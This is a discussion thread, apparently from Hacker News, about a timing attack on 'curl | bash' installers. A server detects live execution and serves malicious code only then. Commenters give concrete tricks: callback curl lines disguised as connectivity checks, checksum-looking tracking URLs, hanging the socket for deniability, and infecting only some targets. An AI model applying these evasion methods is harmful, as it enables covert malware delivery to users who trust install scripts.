zlacker

The sleep cleverness is excessive though - what you really want to know is if the script you're returning is being executed as it's sent. If it is, then you can be pretty confident that a human isn't reading it line by line.

1. Send your response as transfer-encoding: chunked and tcp_nodelay

2. Send the first command as

    curl www.example.com/$unique_id

Then the server waits before sending the next command - if it gets the ping from the script, we know that whatever is executing the script is running the commands as they're sent, and is therefore unlikely to be read by a human before the next command runs. If it doesn't ping within a second or so, proceed with the innocent payload.

For extra evil deniability, structure your malicious payload as a substring of a plausibly valid sequence of commands - then simply hang the socket partway through. Future investigation will make it look like a network issue.

>>charle+(OP)
You could even get more clever with this you could drop the unique_id and just match up the remote host IP. You could probably even disguise the command as something like a "network connectivity test" in the script.

    # Check network connectivity so we can continue the install
    if ! curl --fail www.example.com; then exit; fi

Of course, what actually is happening is that we've just informed the server to now serve our malicious code.

>>charle+(OP)
That's mistaken because:

  bash -c "`echo echo hi`"

note that `echo echo hi` is fully read, and then (and only then) passed to bash.

ditto for

  echo -c "`curl <your url>`"

The curl command isn't detectable as an evaluation because it's fully spliced into the string, then sent to bash. It's easy to imagine setting up a `curl <url> | sponge | bash` middleman, too.

It is impossible in general to know what the downstream user is going to do with the bytes you send. Even bash happens not to cache its input. But technically it could -- it would be entirely valid for bash to read in a buffered mode which waits for EOF before interpreting.

>>Evan-P+N
Remote host IP isn't ideal because of NAT (request from another host on the network exposes your malfeasance), or if your target may be using something like TOR (two requests might have differing remote IPs). But there's a bunch of tricks to get unique info out of a network request that you control the parameters to. Presumably there aren't that many concurrent invocations of your script, so only a few bits of entropy are actually required. Best way is probably to have a bunch of domains and make it look like they're various mirrors you're downloading binaries from - then it's not suspicious that it changes for different machines or requests.

>>shawn+u1
Which part is mistaken?

You're of course correct that the general problem is unsolvable - but the goal is to opportunistically infect people who directly paste the "curl example.com/setup | bash" that's helpfully provided in your getting started guide, without serving an obviously malicious payload to someone who could be inspecting it.

>>charle+Z1
Sorry, 2AM. You're right of course.

I think the real message is that this is a new class of timing attack, and that it should be treated as such. E.g. curl itself needs to be updated to buffer its own output.

>>charle+(OP)
You could encode something in the url using homographs.

>>shawn+T2
I disagree. Maybe a new tool that downloads and then runs a script from the interwebs needs to be written, but curl itself does one job and does it well.

I.e., curl is a *nix tool.

>>shawn+T2
Or perhaps people shouldn't curl | bash? I don't want curl to buffer all output, I use it on devices with little RAM and do stream processing.

>>charle+C1
Well it's okay to not infect every target. In fact, if you are being malicious, it would be better to only infect some targets so as to muddy the waters when someone is trying to investigate your actions after the fact.

You can claim that you were MITM'd and point to the non-infectious cases as evidence that you always send a good payload.

>>charle+C1
If binaries are being downloaded, then the dynamically generated malicious script could pretend it's a checksum when really it's a unique tracking URL.

    curl www.example.com/downloads/fooprogram/builds/D41D8CD98F00B204E9800998ECF8427E.tgz

If the time between the script being downloaded and that file being requested is large, serve the clean copy, else download the malicious binary.

>>dotanc+q9
> Maybe a new tool that downloads and then runs a script from the interwebs needs to be written

What you're describing there is a package manager. What we don't need is a tool for running any random script from the wider internet.

>>laumar+3w
Isn't that tool what we call a "user"?

>>laumar+3w
Yet Another Package Manager :) Seriously - you're right, but people use curl | bash because it's super simple/fast and usually just works. Package managers can be an intimidating mess; even the choices we have in package managers confound things these days - did I install that with apt? snap? npm? pip? aw, crap that program I just installed with pip isn't working because I'd already installed a version with apt and some of it's configuration isn't compatible!!!

It's a mess. I really like snaps, but I hesitate for this reason - safer to default to apt on my ubuntu machine.

[edit] by safer I meant 'less likely for me to get confused and so screw up something', not meant as a security comment.

>>charle+(OP)
This would reveal your intent to a human reader. I think the author of the article was trying to avoid doing that.

>>charle+(OP)
Hm. I tried and it does not seem to work. You can view my attempt at https://github.com/sethgrid/exploit. Chances are that I am ignorant of something. If someone knows what am doing wrong, please let me know!

The code starts to send chunked data and polls for a return curl call from the downloaded script. If the script's curl call calls home, the download will chunk out "bad" bash.

What I see happening is the downloaded script does not fully run until fully downloaded.

>>gkya+gz
Sick burn.

>>setham+vb1
Help from /r/golang: I needed to still fill the TCP buffer!

>>brianb+uG
Fooling a human with bash is less difficult than you might imagine. I am fooled by bash code at least half the time I interact with a shell script I didn't write myself. A misleading comment plus an innocuous looking URL, coupled with the fact that an installation script can be expected to download files from the internet in order to install them would make this slip past nearly any reviewer.